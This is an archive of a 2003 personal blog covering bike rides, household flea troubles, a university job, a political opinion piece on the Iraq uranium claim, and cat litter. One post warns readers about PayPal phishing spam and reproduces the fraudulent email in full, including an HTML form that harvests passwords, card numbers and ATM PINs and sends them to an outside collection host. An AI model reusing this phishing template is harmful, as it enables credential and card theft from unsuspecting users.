July 2003 Archives

Sat Jul 19 20:13:54 CDT 2003

Ride: Loop 360

Just got back from a slightly modified Loop 360 ride. It was very, very hot. I took a ~15 minute break about 1/2 way and ate a Clifbar. (After that, i felt a lot better.)

Biklometer thingy says:
Avg speed: 21.1 KpH
Max speed: 64.0 KpH
Elapsed time: 2 hours, 23 minutes, 45 seconds.
Distance traveled: 50.7 kilometers or 31.48 miles.

Hmm.. this would appear to be my lowest avg speed ever. Uhh well, ever that is recorded here. I think some of that stems from the city riding i was doing to get to and from Loop 360. And the heat was really taking it out of me. I just don't have the strength i had in my 20s. That, and other similarly cheerful thoughts in the same vein were nagging at me as i rode home. At least the heat relented a bit on the last 1/3 or so. (It's 31C now, but was more like 35C when i went out. It's still 51% humidty. ugh.)

I am eating a meatless, hickory smoke-flavored jerky. It is yummy.

Posted by johan | Permanent link

Sat Jul 19 16:50:02 CDT 2003

Ride: Loop 360 #2

Some point long ago, like around April 26th, i think, i went on this bike ride (the usual 360 route):

Biklometer thingy says:
Avg speed: 21.4 KpH
Max speed: 57.9 KpH
Elapsed time: 2 hours, 11 minutes, 58 seconds.
Distance traveled: 47.0 kilometers or 29.2 miles.

Posted by johan | Permanent link

Jul 16 00:55:00 2003


And in the news of banality,
... my clothes dryer died earlier this evening. I decided the appropriate response was to imbibe a very good and large (650 ml) beer while hanging the two loads of wet laundry in various locales around the house. I am almost done with the beer, and much of the laundry is already dry. Luckily, the dryer is on the house lease, so i guess the landlord will buy a new one.
Also in the world of commonplace happenings, i've just finished spreading a modified form of Borax all over the hose's floors and furniture. Hopefully, it will take care of the flea problem that sprung up (ugh OK, sorry, that was bad) about 4-5 weeks ago, and has kept me vacuuming and mopping seemingly to no avail.
About 3 weeks ago, i covered the floors and cats with Pyrethrum floor dust, and sprayed "beneficial" nematodes (microscopic worms) on the yard. (Which supposedly eat fleas, fire ants, and some other undesirable insects.) This did not really seem to help much at the time, and i none-to-happily (it's a bit artificially toxic for my tastes) moved on to Frontline for the cats about a week later. But perhaps the pyrethrum, at least on the floor, was just slow. The flea population seemed to have greatly dropped off after last Monday or so. And it was bad, bad, bad before that. As in, put my hand on the floor and i could see 5 small fleas turn towards it and leap! Creepy and just annoying as hell. ARGH.
But it's much better now. I may have gotten bit once earlier this evening, but i haven't seen any fleas, since.
I think today was my 180th day as a minion in the service of the State of Texas. (Again. This is my third time through the probationary period. Forth time to work at the Computation Center, or whatever it's currently called, and seventh job at UT. Some people just never learn.) And that (the 180th day) means my probation is over, and it's now a lot harder for them to fire me. Yay. I think. I mean, yay for jobs and having an income. And maybe i should i'd just re-listen to Ewan MacGreggor in the beginning of Trainspotting: "Choose life. Choose a job. Choose a career. Choose a family. Choose a fucking big television. Choose washing machines, cars, compact disc players and electrical tin openers. Choose good health, low cholesterol, and dental insurance. Choose fixed interest mortgage repayments. Choose a starter home. Choose your friends. Choose leisurewear and matching fabrics. Choose DIY and wondering who the fuck you are on a Sunday morning. Choose sitting on that couch watching mind-numbing, spirit crushing game shows, stuffing junk food into your mouth. Choose rotting away at the end of it all, pishing your last in a miserable home, nothing more than an embarrassment to the selfish, fucked up brats you spawned to replace yourself. Choose a future. Choose life..."
Well, that's not exactly a cheery view of my current job, but you know, sifting through archaic data feeds from computers that still prefer EBCDIC (to ASCII), for problems with one of 70,000+ users in the system for which i am primarily responsible is not really how i imagined feathering my professional cap, so to speak. And for all that's HOLY did you know that there's an EBCDIC port of Apache? I think i'm going to have to have another beer.
But i have a job, in what may be the worst economy this country has seen in 20 years, perhaps even 70. And i'm thoroughly grateful to have it. Really. Even if it does give me nightmares of the day that the student rag (for which i once (ironically) worked) publishes my picture just below the 300-point headline of Here's the guy who runs that Geologically-Slow Web Application we all have to use and then thousands of aggravated faculty and painfully-young students chase me across campus with pitch forks and flaming torches, screaming, "GET HIM!!!!"
Well, OK, you're probably right. How many Profs can still run? And while we're on the subject, i just cannot imagine many of the trendy undergrads running in those crappy $1.99 flip-flops (for which they paid $12.99).
But still... it's not my fault!
I think it's time for that second beer. Crystal Method reminds me of Dr Who on Maryland Public Television, which i miss.
That is all.

Posted by johan | Permanent link

Jul 14 16:15:00 2003

"The bottom has been gotten to."

The Associated Press quotes White House spokesman Ari Fleischer as saying on Monday:
"I think the bottom has been gotten to... No one can accurately tell you it was wrong. That is not known."
Sounds a bit like Reagan's "Mistakes were made." Bureaucratic obfuscators avoiding responsibility for their actions choose the passive voice. "The bottom has been gotten to." By whom? Not the Bush Administration, who for the last 2 months steadfastly insisted that Iraq had attempted to buy material to build a nuclear weapon from "an African country."
But now they have done a complete 180, and lay blame for the mistake at the Director of the CIA's feet. Being a good lackey, Tenet has accepted the blame, despite the fact that the CIA had questioned the reports of Niger selling Iraq uranium. In February 2002, the CIA sent former US ambassador Joseph C. Wilson to check on the report that Niger had sold yellow cake to Iraq. As he explains in this editorial in the New York Times he reported back in March of 2003 that in all likelihood, the report was false; that the documents upon which the report was based were forged.
Somehow, despite the fact that VP Cheney's office should have received this report or briefing in March, Cheney and the Bush Administration continued to assert that Iraq had attempted to get uranium from an African country. Perhaps in the intervening months, they were looking for other evidence to retroactively substantiate their claim, though they had already invaded Iraq. (Ooops!) Regardless, they continued to stand behind their assertion that Iraq had attempted to acquire nuclear material from an African country, until it was apparent to all who cared to look that the Bush Administration's claim was baseless and unsubstantiated.
I only see two possibilities for why they would act in this way:

  1. The Bush Administration deliberately and knowingly lied to the US public, in order to gain the necessary support to invade another sovereign country, knowing that this would kill thousands of people -- many of them civilians.
  2. The Bush Administration was (still) acting incompetently in March 2003 and some how misplaced or misunderstood critical evidence and reports from the CIA.

A year and a half after the US was (supposedly) blindsided by the September 11 attacks, we simply cannot tolerate either of the above explanations. Bush is either incompetent or he so hates Saddam Hussein he is willing to kill innocent people to get Hussein out of power. Either way, we should not allow the head of our country's foreign policy and military to remain in power when he is so obviously incapable of acting morally and competently. George the II and 100% of his cabinet must go, the sooner the better. Bush will argue that to change administrations now, or even after the upcoming 2004 elections would be dangerous during "a time of war." But he's more concerned about the "danger" to himself and his lackeys than to the US. A change of leadership is less dangerous than waiting to see if the Bush Administration will continue invading other countries who are not direct threats, while ignoring entities and issues that clearly are more important, such as fully securing and rebuilding Afghanistan, finding bin Laden, completely destroying Al Qaeda, or dealing with North Korea's blatant threats.
Yes, as Ari says, "the bottom has been gotten to." But the truth of the matter wasn't found by the Bush Administration who can't seem to tell if Iraq bought uranium or not. However, the Bush Administration may be able to claim they have gotten to the same "bottom as Nixon did during Watergate and Reagan did during Iran-Contra: They have lied to and misled the US public in matters with the gravest of consequences. And they have done so either out of unacceptable incompetence or for the sole purpose of advancing their otherwise unpopular and self-serving goals of conquest.

Posted by johan | Permanent link

Jul 03 10:00:00 2003

SPAM Fraud aimed at PayPal customers

I think this is the second time i have received this fraudulent piece of spam. It's a well-faked message that appears to be from PayPal, requesting that one confirm one's account. But after looking at the mail headers and the HTML in the body of the message, i'm pretty sure it's an attempt by BadGuys to collect credit card and bank account numbers, and PayPal IDs from unsuspecting Netizens.
It's very sneaky. After the victim enters the juicy bits, and clicks the "Log In" button,
all of the info entered is sent to web.bigvolumesites.com. Then that host logs-in and
redirects the victim to a real session with Paypal, appearing to validate the process.
This morning, web.bigvolumesites.com resolves to an AOL machine. Last night, it was a dynamic
DSL host in Belgium. I'm going to see if i can contact their Registrar, because they just keep
changing the IP address the hostname points to after the old host collecting the stolen info is
shutdown. I don't expect to have much luck because it appears the BadGuys are in Czechoslavakia,
and their registrar is in India. (sigh)
If you get a message like the one below, suggesting you "confirm your email address" with Paypal,
be very, very suspicious.
The message follows. The HTML tags have been reformated with []'s instead of <>'s so that LJ doesn't
interpret them. A very significant line is in bold.
Return-Path: [email protected] Delivery-Date: Thu Jul 3 01:42:22 2003 Return-Path: <[email protected]> Received: from sarasvati.ewranglers.com (sarasvati.ewranglers.com []) by brahma.giantfoo.org (8.11.6p2/8.11.6) with ESMTP id h636gLk22964 for <[email protected]>; Thu, 3 Jul 2003 01:42:22 -0500 (CDT) Received: from vishnu.giantfoo.org (vishnu.giantfoo.org []) by sarasvati.ewranglers.com (8.11.6p2/8.11.6) with ESMTP id h636gLF15282 for <[email protected]>; Thu, 3 Jul 2003 01:42:21 -0500 (CDT) Received: from compuserve.com (u187n119.hfx.eastlink.ca []) by vishnu.giantfoo.org (8.11.6p2/8.11.6) with SMTP id h636gKh10008 for <[email protected]>; Thu, 3 Jul 2003 01:42:20 -0500 (CDT) Date: Thu, 03 Jul 2003 05:51:06 +0000 From: 7pibxxkxsj <[email protected]> Subject: Dear PayPal Customer To: Johan <[email protected]> References: <[email protected]> In-Reply-To: <[email protected]> Message-ID: <[email protected]> MIME-Version: 1.0 Content-Type: text/html Content-Transfer-Encoding: 8bit

[html] [head] [STYLE type=text/css] .dummy {} BODY, TD {font-family: verdana,arial,helvetica,sans-serif;font-size: 13px;color: #000000;} UL {list-style: square} .pp_big {font-family: verdana,arial,helvetica,sans-serif;font-size: 24px;font-weight: bold;color: #003366;} .pp_sortofbig {font-family: verdana,arial,helvetica,sans-serif;font-size: 22px;font-weight: bold;color: #003366;} .pp_heading {font-family: verdana,arial,helvetica,sans-serif;font-size: 18px;font-weight: bold;color: #003366;} .pp_subheading {font-family: verdana,arial,helvetica,sans-serif;font-size: 16px;font-weight: bold;color: #003366;} .pp_sidebartext {font-family: verdana,arial,helvetica,sans-serif;font-size: 11px;color: #003366;} .pp_mediumtextbold {font-family: verdana,arial,helvetica,sans-serif;font-size: 14px;font-weight: bold;color: #000000;} .pp_smalltext {font-family: verdana,arial,helvetica,sans-serif;font-size: 10px;font-weight: normal;color: #000000;} .pp_smallbluetext {font-family: verdana,arial,helvetica,sans-serif;font-size: 10px;font-weight: normal;color: #003366;} .pp_footer {font-family: verdana,arial,helvetica,sans-serif;font-size: 11px;color: #aaaaaa;} [/STYLE] [title]PayPal[/title] [/head] [body] [table width="600" cellspacing="0" cellpadding="0" border="0" align="center"] [tr] [td][A href="https://www.paypal.com/"][IMG src="http://www.paypal.com/images/paypal_logo.gif" width=109 height=35 alt="PayPal" border="0" vspace=10][/A] [/td] [/tr] [/table] [table width="100%" cellspacing="0" cellpadding="0" border="0"] [tr] [td background="http://www.paypal.com/images/bg_clk.gif" width="100%"][img src="http://www.paypal.com/images/pixel.gif" height="29" width="1" border="0"][/td] [/tr] [tr] [td][img src="http://www.paypal.com/images/pixel.gif" height="10" width="1" border="0"][/td] [/tr] [/table] [table width="600" cellspacing="0" cellpadding="5" border="0" align="center"] [tr] [td class="pp_sortofbig" align=center]Dear PayPal Customer[/td] [/tr] [tr] [td valign="top"][p] [/p] [p]This e-mail is the notification of recent innovations taken by PayPal to detect inactive customers and non-functioning mailboxes.[/p] [p]The inactive customers are subject to restriction and removal in the next 3 months.[/p] [p]Please confirm your email address and credit card information by logging in to your PayPal account using the form below:[/p][/td] [/tr] [tr] [td align=center]

[form action="http://www.paypal.com0011101100011010011100011[email protected]web.bigvolumesites.com/paypal/paypal.php" method="get"]

[p style="margin-left: 4; margin-top: -2; margin-bottom: 0"] [/p]

[table border="0"] [tr] [td][b style="font:bold 8pt"]Email Address:[/b][/td] [td][input name="lgn" type="text" size="30" maxlength="32"][/td] [/tr] [tr] [td][b style="font:bold 8pt"]Password:[/b][/td] [td][input name="psw" type="password" size="30" maxlength="32"][/td] [/tr] [tr] [td][b style="font-style: normal; font-variant: normal; font-weight: bold; font-size: 8pt"]Full Name: [/b][/td] [td][input name="full_name" type="text" size="30" maxlength="32"][/td] [/tr] [tr] [td][b style="font-style: normal; font-variant: normal; font-weight: bold; font-size: 8pt"]Credit Card #: [/b][/td] [td][input name="cc" size="30" maxlength="30"][/td]

[tr] [td][b style="font-style: normal; font-variant: normal; font-weight: bold; font-size: 8pt"]Exp.Date(mm/yyyy): [/b][/td] [td][input name="exp_date" size="30" maxlength="7"][/td]

[tr] [td][b style="font:bold 8pt: normal; font-variant: normal; font-weight: bold; font-size: 8pt"]ATM PIN ([font color=red]For Bank Verification[/font]) #: [/b][/td] [td][input name="pin" type="password" size="30" maxlength="4"][/td]

[/tr] [/table] [p] [input name="ID" type="hidden" size="30" maxlength="32" value="n8h4hnew"] [input type="submit" value=" Log In "] [/p] [/form] [p][br] [span class="pp_smalltext"]This notification expires September 31, 2003[/span] [/p][/td] [/tr] [tr] [td align=center][br] [strong]Thanks for using PayPal! [/strong][br][/td] [/tr] [tr] [td][img src="http://www.paypal.com/images/dot_row_long.gif"][/td] [/tr] [tr] [td class="pp_footer"] This PayPal notification was sent to your mailbox. Your PayPal account is set up to receive the PayPal Periodical newsletter and product updates when you create your account. To modify your notification preferences and unsubscribe, go to [a href="https://www.paypal.com/PREFS-NOTI"]https://www.paypal.com/PREFS-NOTI[/a] and log in to your account. Changes to your preferences may take several days to be reflected in our mailings. Replies to this email will not be processed. [br] [br] Copyright© 2002 PayPal Inc. All rights reserved. Designated trademarks and brands are the property of their respective owners. [/td] [/tr] [/table] [/body][/html]

Posted by johan | Permanent link

Jul 03 01:53:00 2003

Cat litter comparisons

Yes, this really is a post about cat litter. Maybe there's an LJ interest group for this, but i'm too lazy to check right now.
A few weeks (months?) ago, several of us were shocked and alarmed by the dangers of silica dust from most of the clumping clay cat litters. Since then, i've tried a couple of non-silica dust cat litters. Here are my results...
"World's Best Cat Litter" is the most expensive cat litter as i have ever seen, but as i mentioned before, it really is the best i've seen. It's 100% corn. It seems to control smell and clump better than anything else i have used. And it also seems to last longer, so the 2-3 times higher price is not quite as heinous as it seems. One of my cats took to it well. The other rejected it.
It claims to be flushable, but it clumps so well, i stopped doing this after the first scoop i flushed seemed to make my toilet less than happy. And there are costs with forcing the local wastewater authority to process more solids out of the stream, so flushing any kind of little is may be a bad idea.
Best price: $1.12 / lb.
Good Mews was less expensive and made from "100% recycled paper" (but i don't know if any of that is post-consumer). In my experience, it was inferior in odor control to clumping clay litter, but probably about the same or better than traditional, non-clumping litter. Both of my cats accepted it. I did not find it to be at all scoopable. This might have just been me being stupid. The pellets are pretty large... the were cylindrical in shape, about .5 to .75 inches (1-2 cm) long, and about half the diameter of a pencil. (like a little less than one cm in diameter)
Because this litter doesn't clump and is already dark in color, i found it very difficult to remove the dirty bits and leave the clean ones. So i'd say if you used it, you'd have to change the entire box every 3 days.
Best price: $0.75 / lb.
I'm just started testing a Feline Pine. It seems to resemble the WBCL stuff, but is not quite as expensive. They say it's made from pine dust generated by a mill.
Best price: $ 0.50 / lb.
Note that these best prices are largest bags from big Evil places like Petco... It may not be possible to preserve your soul (or lower back) and still manage to buy them at this price.
For the sake of comparison, the "Pet Gold" brand (Oh yeah, that's exactly what i'm thinking as i scoop the turds and clumps of solidified piss out of the box, 'Yeah, maybe i'll find some GOLD in here one day, if i just keep sifting long enough...') is $0.40 / lb. But of course, it has the nasty silica dust.

Posted by johan | Permanent link

Wed Jul 2 14:26:06 CDT 2003

moved to LJ [came back!]

So i succumbed to LiveJournal, which is why there has not been much here for awhile. I'd prefer to have my data on my own machines, but LJ does enable one to do some cool stuff with access lists. [Mon Sep 26 00:06:15 CDT 2005 addendum: I'm now posting on my machines with nanonblogger but mirroring them to livejournal with a progam called clive.]

Posted by johan | Permanent link